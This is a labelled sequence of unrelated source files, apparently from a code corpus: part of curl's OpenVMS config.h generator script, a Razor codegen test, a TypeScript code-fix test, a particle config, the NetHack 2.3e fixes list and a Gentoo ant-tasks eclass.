SIZEOF_INTMAX_T 4" $ write tf "#else" $ write tf "#define SIZEOF_INTMAX_T 8" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "OFF" .and. key2_h .eqs. "_T" $ then $ write tf "#ifndef SIZEOF_OFF_T" $ write tf "#if __USE_OFF64_T" $ write tf "#define SIZEOF_OFF_T 8" $ write tf "#else" $ write tf "#define SIZEOF_OFF_T 4" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "CHAR" .and. key2_h .eqs. "_P" $ then $ write tf "#ifndef SIZEOF_CHAR_P" $ write tf "#if __INITIAL_POINTER_SIZE == 64" $ write tf "#define SIZEOF_CHAR_P 8" $ write tf "#else" $ write tf "#define SIZEOF_CHAR_P 4" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "VOIDP" $ then $ write tf "#ifndef SIZEOF_VOIDP" $ write tf "#if __INITIAL_POINTER_SIZE == 64" $ write tf "#define SIZEOF_VOIDP 8" $ write tf "#else" $ write tf "#define SIZEOF_VOIDP 4" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "INT" $ then $ write tf "#ifndef SIZEOF_INT" $ write tf "#define SIZEOF_INT 4" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "SIZE" .and. key2_h .eqs. "_T" $ then $ write tf "#ifndef SIZEOF_SIZE_T" $ write tf "#define SIZEOF_SIZE_T 4" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "TIME" .and. key2_h .eqs. "_T" $ then $ write tf "#ifndef SIZEOF_TIME_T" $ write tf "#define SIZEOF_TIME_T 4" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "DOUBLE" $ then $ write tf "#ifndef SIZEOF_DOUBLE" $ write tf "#define SIZEOF_DOUBLE 8" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "LONG" $ then $ if key2c .eqs. "" $ then $ write tf "#ifndef SIZEOF_LONG" $ write tf "#define SIZEOF_LONG 4" $ write tf "#endif" $ else $ write tf "#ifndef SIZEOF_LONG_LONG" $ write tf "#ifndef __VAX" $ write tf "#define SIZEOF_LONG_LONG 8" $ write tf "#endif" $ write tf "#endif" $ endif $ goto cfgh_in_loop1 $ endif $ if key2b .eqs. "SHORT" $ then $ write tf "#ifndef SIZEOF_SHORT" $ write tf "#define SIZEOF_SHORT 2" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ write tf "/* ", xline, " */" $ goto cfgh_in_loop1 $ endif $! $! Process NEED directives $!------------------------------- $ if key2a .eqs. "NEED" $ then $ if key2b .eqs. "STRINGS" .and. key2_h .eqs. "_H" $ then $ write tf "#ifndef NEED_STRINGS_H" $ write tf "#define NEED_STRINGS_H 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ write tf "/* ", xline, " */" $ goto cfgh_in_loop1 $ endif $! $! Process GETHOSTNAME directives $!------------------------------------- $ if key2 .eqs. "GETHOSTNAME_TYPE_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#ifdef _DECC_V4_SOURCE" $ write tf "#define ''key2' int" $ write tf "#else" $ write tf "#define ''key2' size_t" $ write tf "#endif" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process GETNAMEINFO directives $!------------------------------------- $ if key2a .eqs. "GETNAMEINFO" $ then $ if key2 .eqs. "GETNAMEINFO_QUAL_ARG1" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' const" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "GETNAMEINFO_TYPE_ARG1" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' struct sockaddr *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "GETNAMEINFO_TYPE_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' size_t" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "GETNAMEINFO_TYPE_ARG46" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' size_t" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "GETNAMEINFO_TYPE_ARG7" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $! Process RECV directives $!------------------------------------- $ if key2a .eqs. "RECV" $ then $ if key2 .eqs. "RECV_TYPE_ARG1" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECV_TYPE_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' void *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECV_TYPE_ARG3" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' size_t" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECV_TYPE_ARG4" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECV_TYPE_RETV" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $! $! Process RECVFROM directives $!------------------------------------- $ if key2a .eqs. "RECVFROM" $ then $ if key2 .eqs. "RECVFROM_QUAL_ARG5" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2'" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_ARG1" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' void *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_ARG3" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' size_t" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_ARG4" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_ARG5" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' struct sockaddr" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_ARG6" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' unsigned int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "RECVFROM_TYPE_RETV" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $! Process SELECT directives $!------------------------------------- $ if key2a .eqs. "SELECT" $ then $ if key2 .eqs. "SELECT_QUAL_ARG5" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' const" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SELECT_TYPE_ARG1" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SELECT_TYPE_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' void *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SELECT_TYPE_ARG234" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' fd_set *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SELECT_TYPE_ARG5" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' struct timeval *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SELECT_TYPE_RETV" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $! Process SEND directives $!------------------------------------- $ if key2a .eqs. "SEND" $ then $ if key2 .eqs. "SEND_QUAL_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' const" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SEND_TYPE_ARG1" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SEND_TYPE_ARG2" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' void *" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SEND_TYPE_ARG3" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' size_t" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SEND_TYPE_ARG4" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ if key2 .eqs. "SEND_TYPE_RETV" $ then $ write tf "#ifndef ''key2'" $ write tf "#define ''key2' int" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $ endif $! $! $! Process STATFS directives $!------------------------------- $! if key2a .eqs. "STATFS" $! then $! write tf "/* ", xline, " */" $! goto cfgh_in_loop1 $! endif $! $! Process inline directive $!------------------------------ $ if key2 .eqs. "inline" $ then $ write tf "#ifndef inline" $ write tf "#define inline __inline" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process restrict directive $!-------------------------------- $ if key2 .eqs. "restrict" $ then $ write tf "#ifndef restrict" $ write tf "#define restrict __restrict" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process RETSIGTYPE directive $!---------------------------------- $ if key2 .eqs. "RETSIGTYPE" $ then $ write tf "#ifndef RETSIGTYPE" $ write tf "#define RETSIGTYPE void" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process STDC_HEADERS (SAMBA!) $!--------------------------- $ if key2 .eqs. "STDC_HEADERS" $ then $ write tf "#ifndef STDC_HEADERS" $ write tf "#define STDC_HEADERS 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Process PROTOTYPES directive $!------------------------------------- $ if key2 .eqs. "PROTOTYPES" $ then $ write tf "#ifndef PROTOTYPES" $ write tf "#define PROTOTYPES 1" $ write tf "#endif" $ goto cfgh_in_loop1 $ endif $! $! Special for SEEKDIR_RETURNS_VOID $!--------------------------------------- $ if key2 .eqs. "SEEKDIR_RETURNS_VOID" $ then $ write tf "#ifndef SEEKDIR_RETURNS_VOID" $ write tf "#define SEEKDIR_RETURNS_VOID 1" $ write tf "#endif" $ endif $! $! Unknown - See if CONFIGURE can give a clue for this $!---------------------------------------------------------- $ pflag = 0 $ set_flag = 0 $! gproj_name = proj_name - "_VMS" - "-VMS" $ if f$search(tfile1) .nes. "" then delete 'tfile1';* $ define/user sys$output nl: $ define/user sys$error nl: $! if f$locate("FILE", key2) .lt. key2_len then pflag = 1 $! if f$locate("DIR", key2) .eq. key2_len - 3 then pflag = 1 $! if f$locate("PATH", key2) .eq. key2_len - 4 then pflag = 1 $! $ search/out='tfile1' 'configure_script' "''key2'="/exact $ search_sev = '$severity' $ if 'search_sev' .eq. 1 $ then $ open/read/err=unknown_cf_rd_error sf 'tfile1' $search_file_rd_loop: $ read/end=unknown_cf_rd_err sf line_in $ line_in = f$edit(line_in, "TRIM") $ skey1 = f$element(0,"=",line_in) $ if skey1 .eqs. key2 $ then $ skey2 = f$element(1,"=",line_in) $ skey2a = f$extract(0,2,skey2) $! $! $! We can not handle assignment to shell symbols. $! For now skip them. $!------------------------------------------------------------ $ if f$locate("$", skey2) .lt. f$length(skey2) $ then $ write tf "/* ", xline, " */" $ set_flag = 1 $ goto found_in_configure $ endif $! $! Keep these two cases separate to make it easier to add $! more future intelligence to this routine $!---------------------------------------------------------------------- $ if skey2a .eqs. """`" $ then $! if pflag .eq. 1 $! then $! write tf "#ifndef ''key2'" $! write tf "#define ",key2," """,gproj_name,"_",key2,"""" $! write tf "#endif" $! else $! Ignore this for now $!------------------------------------------ $ write tf "/* ", xline, " */" $! endif $ set_flag = 1 $ goto found_in_configure $ endif $ if skey2a .eqs. """$" $ then $! if pflag .eq. 1 $! then $! write tf "#ifndef ''key2'" $! write tf "#define ",key2," """,gproj_name,"_",key2,"""" $! write tf "#endif" $! else $! Ignore this for now $!------------------------------------------- $ write tf "/* ", xline, " */" $! endif $ set_flag = 1 $ goto found_in_configure $ endif $! $! Remove multiple layers of quotes if present $!---------------------------------------------------------- $ if f$extract(0, 1, skey2) .eqs. "'" $ then $ skey2 = skey2 - "'" - "'" - "'" - "'" $ endif $ if f$extract(0, 1, skey2) .eqs. """" $ then $ skey2 = skey2 - """" - """" - """" - """" $ endif $ write tf "#ifndef ''key2'" $ if skey2 .eqs. "" $ then $ write tf "#define ",key2 $ else $! Only quote non-numbers $!---------------------------------------- $ if f$string(skey2+0) .eqs. skey2 $ then $ write tf "#define ",key2," ",skey2 $ else $ write tf "#define ",key2," """,skey2,"""" $ endif $ endif $ write tf "#endif" $ set_flag = 1 $ else $ goto search_file_rd_loop $! if pflag .eq. 1 $! then $! write tf "#ifndef ''key2'" $! write tf "#define ",key2," """,gproj_name,"_",key2,"""" $! write tf "#endif" $! set_flag = 1 $! endif $ endif $found_in_configure: $unknown_cf_rd_err: $ if f$trnlnm("sf","lnm$process",,"SUPERVISOR") .nes. "" $ then $ close sf $ endif $ if f$search(tfile1) .nes. "" then delete 'tfile1';* $ if set_flag .eq. 1 then goto cfgh_in_loop1 $ endif $ endif $! $! $! $! If it falls through everything else, comment it out $!----------------------------------------------------- $ write tf "/* ", xline, " */" $ goto cfgh_in_loop1 $cfgh_in_loop1_end: $close inf $! $! $! Write out the tail $!-------------------- $write_tail: $gosub write_config_h_tail $! $! Exit and clean up $!-------------------- $general_error: $status = '$status' $all_exit: $set noon $if f$trnlnm("sf","lnm$process",,"SUPERVISOR") .nes. "" then close sf $if f$trnlnm("tf","lnm$process",,"SUPERVISOR") .nes. "" then close tf $if f$trnlnm("inf","lnm$process",,"SUPERVISOR") .nes. "" then close inf $if f$trnlnm("tf1","lnm$process",,"SUPERVISOR") .nes. "" then close tf1 $if f$trnlnm("tf2","lnm$process",,"SUPERVISOR") .nes. "" then close tf2 $if f$trnlnm("tfcv","lnm$process",,"SUPERVISOR") .nes. "" then close tfcv $if f$type(tfile1) .eqs. "STRING" $then $ if f$search(tfile1) .nes. "" then delete 'tfile1';* $endif $if f$type(dchfile) .eqs. "STRING" $then $ if f$search(dchfile) .nes. "" then delete 'dchfile';* $endif $if f$type(starhfile) .eqs. "STRING" $then $ if f$search(starhfile) .nes. "" then delete 'starhfile';* $endif $if f$type(configure_script) .eqs. "STRING" $then $ if f$search(configure_script) .nes. "" then delete 'configure_script';* $endif $exit 'status' $! $! $control_y: $ status = ss_control_y $ goto all_exit $! $! $! $! Gosub to write a new config_vms.h $!----------------------------------- $write_config_vms: $outfile = "sys$disk:[]config_vms.h" $create 'outfile' $open/append tf 'outfile' $write tf "/* File: config_vms.h" $write tf "**" $write tf "** This file contains the manual edits needed for porting" $!write tf "** the ''proj_name' package to OpenVMS. $write tf "**" $write tf "** Edit this file as needed. The procedure that automatically" $write tf "** generated this header stub will not overwrite or make any" $write tf "** changes to this file." $write tf "**" $write tf - "** ", datetime, tab, username, tab, "Generated by ''my_proc_file'" $write tf "**" $write tf - "**========================================================================*/" $write tf "" $close tf $return $! $! gosub to write out a documentation header for config.h $!---------------------------------------------------------------- $write_config_h_header: $outfile = "sys$disk:[]config.h" $create 'outfile' $open/append tf 'outfile' $write tf "#ifndef CONFIG_H" $write tf "#define CONFIG_H" $write tf "/* File: config.h" $write tf "**" $write tf - "** This file contains the options needed for porting " $write tf "** the project on a VMS system." $write tf "**" $write tf "** Try not to make any edits to this file, as it is" $write tf "** automagically generated." $write tf "**" $write tf "** Manual edits should be made to the config_vms.h file." $write tf "**" $write tf - "** ", datetime, tab, username, tab, "Generated by ''my_proc_file'" $write tf "**" $write tf - "**========================================================================*/" $write tf "" $write tf "#if (__CRTL_VER >= 70200000) && !defined (__VAX)" $write tf "#define _LARGEFILE 1" $write tf "#endif" $write tf "" $write tf "#ifndef __VAX" $write tf "#ifdef __CRTL_VER" $write tf "#if __CRTL_VER >= 80200000" $write tf "#define _USE_STD_STAT 1" $write tf "#endif" $write tf "#endif" $write tf "#endif" $write tf "" $! $write tf " /* Allow compiler builtins */" $write tf "/*-------------------------*/" $write tf "#ifdef __DECC_VER" $write tf "#include <non_existant_dir:builtins.h>" $write tf "#endif" $! $write tf "" $return $! $! gosub to write out the tail for config.h and close it $!--------------------------------------------------------- $write_config_h_tail: $write tf "" $write tf " /* Include the hand customized settings */" $write tf "/*--------------------------------------*/" $write tf "#include ""config_vms.h""" $write tf "" $write tf "#endif /* CONFIG_H */" $close tf $return $!

DIGITAL Command Language

faizur/curl

packages/vms/config_h.com

#pragma checksum "TestFiles/IntegrationTests/CodeGenerationIntegrationTest/Tags.cshtml" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "75edd5542ddb6f78ab6a4d309bb3525a99ecfa55" // <auto-generated/> #pragma warning disable 1591 [assembly: global::Microsoft.AspNetCore.Razor.Hosting.RazorCompiledItemAttribute(typeof(Microsoft.AspNetCore.Razor.Language.IntegrationTests.TestFiles.TestFiles_IntegrationTests_CodeGenerationIntegrationTest_Tags_Runtime), @"default", @"/TestFiles/IntegrationTests/CodeGenerationIntegrationTest/Tags.cshtml")] namespace Microsoft.AspNetCore.Razor.Language.IntegrationTests.TestFiles { #line hidden [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"75edd5542ddb6f78ab6a4d309bb3525a99ecfa55", @"/TestFiles/IntegrationTests/CodeGenerationIntegrationTest/Tags.cshtml")] public class TestFiles_IntegrationTests_CodeGenerationIntegrationTest_Tags_Runtime { #pragma warning disable 1998 public async System.Threading.Tasks.Task ExecuteAsync() { WriteLiteral(" <script type=\"text/javascript\" "); WriteLiteral(" ></script @foo >\r\n"); WriteLiteral("\r\n<script type=\"text/html\">\r\n <%var"); BeginWriteAttribute("x", " x =", 102, "", 106, 0); EndWriteAttribute(); BeginWriteAttribute("window", " window =", 106, "", 115, 0); EndWriteAttribute(); WriteLiteral("= null%>\r\n</script>\r\n\r\n<script></script @"); } #pragma warning restore 1998 } } #pragma warning restore 1591

C#

tomaswesterlund/aspnetcore

src/Razor/Microsoft.AspNetCore.Razor.Language/test/TestFiles/IntegrationTests/CodeGenerationIntegrationTest/Tags_Runtime.codegen.cs

/// <reference path='fourslash.ts' /> ////const x; // this is x //// ////// this is E ////enum E { ////} ////E.a verify.codeFix({ index: 0, description: [ts.Diagnostics.Add_missing_enum_member_0.message, "a"], newFileContent: `const x; // this is x // this is E enum E { a } E.a` });

TypeScript

monciego/TypeScript

tests/cases/fourslash/codeFixAddMissingEnumMember12.ts

particle_system snow { src = "assets/golf/images/snowflake.png" blendmode = "add" acceleration = 1.000000 gravity = 0.000000,-1.250000,0.000000 velocity = 0.000000,0.000000,0.000000 spread = 0.000000 lifetime = 6.306000 lifetime_variance = 0.000000 colour = 255.000000,255.000000,255.000000,255.000000 random_initial_rotation = true rotation_speed = 53.730999 scale_affector = 0.000000 size = 0.050000 emit_rate = 50.000000 emit_count = 1 spawn_radius = 106.000000 spawn_offset = 0.000000,0.000000,0.000000 release_count = 0 inherit_rotation = true frame_count = 1 animate = false random_frame = false framerate = 1.000000 forces { force = 0.000000,0.000000,0.000000 force = 0.000000,0.000000,0.000000 force = 0.000000,0.000000,0.000000 force = 0.000000,0.000000,0.000000 } }

Component Pascal

fallahn/crogine

samples/golf/assets/golf/particles/snow.cps

NetHack Fixes List Revision 2.3e New Files: Fixes.2.3 This file. Makefile.3B2 A new Makefile for the ATT 3B2. Spoilers.mm As above - pre nroff -mm food.tbl Tables for above manual fount.tbl monster.tbl weapon.tbl nansi.doc Documentation for nansi.sys. hh Fixed improper def of "X" for casting spells. fight.c Dogname fix for "you hit your dog" line. (Janet Walz) pri.c Patch for "SCORE_ON_BOTL". (Gary Erickson) config.h pray.c Null refrence bug fix for Suns. (The Unknown Hacker) termcap.c null pointer bug fix. (Michael Grenier) mon.c chameleon shape made dependent on current lev. (RPH) spell.c monmove.c rnd.c fixed SYSV/BSD problems with random(). (many sources) config.h shk.c fix to allow compilation with or without HARD option. (reported by The Unknown Hacker) termcap.c ospeed fix for SYSV. (reported by Eric Rapin) unixunix.c fix for NFS sharing of playground. (Paul Meyer) options.c many misc. bugs while compiling for the PC. (Tom Almy) pcmain.c pctty.c hack.h nethack.cnf pager.c fight.c mkroom.h Addition of reorganized special-room code. mkshop.c (Eric S. Raymond) mklev.c rnd.c trap.c Fixed teleport to hell problems caused by rnz(). (reported by Janet Walz) termcap.c Various fixes to MSDOSCOLOR code. (Tom Almy) end.c hack.c Fixed typos. (Steve Creps) msdos.c pcmain.c config.h Enabled the use of termcap file c:\etc\termcap or termcap.c .\termcap.cnf for MS Dos (Steve Creps) eat.c Continued implementation of Soldier code. makedefs.c Added Barracks code. (Steve Creps) makemon.c mklev.c mkroom.h objects.h mkshop.c mon.c monst.c permonst.h makedefs.c Added Landmines code. (Steve Creps) mklev.c trap.c mkroom.h Fixed item / shop probablility code. (Stefan Wrammerfors) shknam.c Added additional item typ available. pray.c Randomized time between prayers. (Stefan Wrammerfors) fight.c Fixed typo. (Stefan Wrammerfors) mhitu.c Fixed monster special abilities usage bug. (Stefan Wrammerfors) objnam.c Randomized max number and max bonus limits on objects wished for. Identified cursed items shown as such. (Stefan Wrammerfors) topten.c Added logfile to allow overall game tuning for balance. config.h (Stefan Wrammerfors) mklev.c moved code identifying medusa & wizard levs to eliminate *main.c garbage on screen. (Izchak Miller) u_init.c fixed up luck wraparound bug (Izchak Miller) hack.c dothrow.c fight.c mon.c play.c save.c sit.c mon.c fixed null referenced pointer bug. (The Unknown Hacker) config.h Hawaiian shirt code by Steve Linhart decl.c do_wear.c extern.h invent.c mhitu.c obj.h objects.h objnam.c polyself.c read.c steal.c u_init.c worn.c config.h "THEOLOGY" code addition (The Unknown Hacker) pray.c mklev.c Added typecasts to fix object generation bug on Microport fountain.c Sys V/AT. (Jerry Lahti) Makefile.unix Added ${CFLAGS} to makedefs build line. (Jerry Lahti) Makefile.att Makefile.3B2 pager.c Inventory fix for "things that are here". (Steve Creps) cmd.c More wizard debugging tools: ^F = level map ^E = find doors & traps (Steve Creps) apply.c Blindfolded set/unset to "INTRINSIC" (many sources) lev.c new restmonchn() code. (Tom May) save.c o_init.c OS independance in init_objects (Tom May) objclass.h (removal of oc_descr_i) shk.c declaration of typename() (Tom May) apply.c declaration of lmonnam() (Tom May) mklev.c fixes to make medusa and wizard levels dependent on MAXLEVEL (Richard Hughey as pointed out to him by John Sin) fountain.c added "coins in fountain" code. (Chris Woodbury) objects.h bound gem color to type (Janet Walz) o_init.c spell.c spell list now displayed in the corner (Bruce Mewborne) apply.c multiple dragon types. (Bruce Mewborne) cmd.c wand of lightning. do.c ring of shock resistance. do_name.c giant eel replaced by electric eel. end.c "STOOGES" - three stooges code. engrave.c Named dagger/short sword "Sting". fight.c Lamps & Magic Lamps. makemon.c A Badge - identifies you as a Kop. config.h ^X option for wizard mode - gives current abilities. mhitu.c New monster djinni '&' for Magic lamps. mklev.c #rub command for lamps. mkobj.c New monster: Gremlin 'G' augments Gnome on lower levels. mon.c major modifications to buzz() code cleans it up. monmove.c monst.c objnam.c polyself.c potion.c pri.c rip.c shk.c sit.c u_init.c wizard.c zap.c makedefs.c monst.h obj.h objects.h permonst.h you.h *main.c *unix.c rnd.c fixed portability bug for 16 bit machines (Paul Eggert) mhitu.c fixed many lint flagged bugs (Izchak Miller) apply.c fight.c mklev.c mkmaze.c mkshop.c monmove.c shknam.c trap.c wizard.c zap.c shk.c do_name.c invent.c unixtty.c pctty.c unixmain.c pcmain.c do.c options.c termcap.c makemon.c spell.c termcap.c major rewrite *** NOTE: Untested by MRS *** (Kevin Sweet) do_name.c reversed quantity check for "n blessed +xx items" (Roland McGrath) config.h Added Kitchen Sink code (Janet Walz) rm.h decl.c do.c hack.c invent.c makedefs.c mklev.c options.c pager.c prisym.c wizard.c zap.c end.c Fixed "killed by" bugs in endgame code. (Steve Creps) objects.h Changed weight of a leash to a reasonable value. (Janet Walz)

Eiffel

aoeixsz4/nh-setseed

doc/fixes23.e

# Copyright 1999-2018 Gentoo Foundation # Distributed under the terms of the GNU General Public License, v2 or later # @ECLASS: ant-tasks.eclass # @MAINTAINER: # [email protected] # @AUTHOR: # Vlastimil Babka <[email protected]> # @BLURB: Eclass for building dev-java/ant-* packages # @DESCRIPTION: # This eclass provides functionality and default ebuild variables for building # dev-java/ant-* packages easily. # we set ant-core dep ourselves, restricted JAVA_ANT_DISABLE_ANT_CORE_DEP=true # rewriting build.xml for are the testcases has no reason atm JAVA_PKG_BSFIX_ALL=no inherit java-pkg-2 java-ant-2 [[ ${EAPI:-0} == [0123456] ]] && inherit eapi7-ver EXPORT_FUNCTIONS src_unpack src_compile src_install # @ECLASS-VARIABLE: ANT_TASK_JDKVER # @DESCRIPTION: # Affects the >=virtual/jdk version set in DEPEND string. Defaults to 1.5, can # be overridden from ebuild BEFORE inheriting this eclass. ANT_TASK_JDKVER=${ANT_TASK_JDKVER-1.5} # @ECLASS-VARIABLE: ANT_TASK_JREVER # @DESCRIPTION: # Affects the >=virtual/jre version set in DEPEND string. Defaults to 1.5, can # be overridden from ebuild BEFORE inheriting this eclass. ANT_TASK_JREVER=${ANT_TASK_JREVER-1.5} # @ECLASS-VARIABLE: ANT_TASK_NAME # @DESCRIPTION: # The name of this ant task as recognized by ant's build.xml, derived from $PN # by removing the ant- prefix. Read-only. ANT_TASK_NAME="${PN#ant-}" # @ECLASS-VARIABLE: ANT_TASK_DEPNAME # @DESCRIPTION: # Specifies JAVA_PKG_NAME (PN{-SLOT} used with java-pkg_jar-from) of the package # that this one depends on. Defaults to the name of ant task, ebuild can # override it before inheriting this eclass. ANT_TASK_DEPNAME=${ANT_TASK_DEPNAME-${ANT_TASK_NAME}} # @ECLASS-VARIABLE: ANT_TASK_DISABLE_VM_DEPS # @DEFAULT_UNSET # @DESCRIPTION: # If set, no JDK/JRE deps are added. # @VARIABLE: ANT_TASK_PV # @INTERNAL # Version of ant-core this task is intended to register and thus load with. ANT_TASK_PV="${PV}" # special care for beta/RC releases if [[ ${PV} == *beta2* ]]; then MY_PV=${PV/_beta2/beta} UPSTREAM_PREFIX="http://people.apache.org/dist/ant/v1.7.1beta2/src" GENTOO_PREFIX="https://dev.gentoo.org/~caster/distfiles" ANT_TASK_PV=$(ver_cut 1-3) elif [[ ${PV} == *_rc* ]]; then MY_PV=${PV/_rc/RC} UPSTREAM_PREFIX="https://dev.gentoo.org/~caster/distfiles" GENTOO_PREFIX="https://dev.gentoo.org/~caster/distfiles" ANT_TASK_PV=$(ver_cut 1-3) else # default for final releases MY_PV=${PV} case ${PV} in 1.9.*) UPSTREAM_PREFIX="https://archive.apache.org/dist/ant/source" GENTOO_PREFIX="https://dev.gentoo.org/~tomwij/files/dist" ;; *) UPSTREAM_PREFIX="mirror://apache/ant/source" GENTOO_PREFIX="https://dev.gentoo.org/~caster/distfiles" ;; esac fi # source/workdir name MY_P="apache-ant-${MY_PV}" # Default values for standard ebuild variables, can be overridden from ebuild. DESCRIPTION="Apache Ant's optional tasks depending on ${ANT_TASK_DEPNAME}" HOMEPAGE="http://ant.apache.org/" SRC_URI="${UPSTREAM_PREFIX}/${MY_P}-src.tar.bz2 ${GENTOO_PREFIX}/ant-${PV}-gentoo.tar.bz2" LICENSE="Apache-2.0" SLOT="0" RDEPEND="~dev-java/ant-core-${PV}:0" DEPEND="${RDEPEND}" if [[ -z "${ANT_TASK_DISABLE_VM_DEPS}" ]]; then RDEPEND+=" >=virtual/jre-${ANT_TASK_JREVER}" DEPEND+=" >=virtual/jdk-${ANT_TASK_JDKVER}" fi # we need direct blockers with old ant-tasks for file collisions - bug #252324 if ver_test -ge 1.7.1; then DEPEND+=" !dev-java/ant-tasks" fi # Would run the full ant test suite for every ant task RESTRICT="test" S="${WORKDIR}/${MY_P}" # @FUNCTION: ant-tasks_src_unpack # @USAGE: [ base ] [ jar-dep ] [ all ] # @DESCRIPTION: # The function Is split into two parts, defaults to both of them ('all'). # # base: performs the unpack, build.xml replacement and symlinks ant.jar from # ant-core # # jar-dep: symlinks the jar file(s) from dependency package ant-tasks_src_unpack() { [[ -z "${1}" ]] && ant-tasks_src_unpack all while [[ -n "${1}" ]]; do case ${1} in base) unpack ${A} cd "${S}" # replace build.xml with our modified for split building mv -f "${WORKDIR}"/build.xml . cd lib # remove bundled xerces rm -f *.jar # ant.jar to build against java-pkg_jar-from --build-only ant-core ant.jar;; jar-dep) # get jar from the dependency package if [[ -n "${ANT_TASK_DEPNAME}" ]]; then java-pkg_jar-from ${ANT_TASK_DEPNAME} fi;; all) ant-tasks_src_unpack base jar-dep;; esac shift done } # @FUNCTION: ant-tasks_src_compile # @DESCRIPTION: # Compiles the jar with installed ant-core. ant-tasks_src_compile() { ANT_TASKS="none" eant -Dbuild.dep=${ANT_TASK_NAME} jar-dep } # @FUNCTION: ant-tasks_src_install # @DESCRIPTION: # Installs the jar and registers its presence for the ant launcher script. # Version param ensures it won't get loaded (thus break) when ant-core is # updated to newer version. 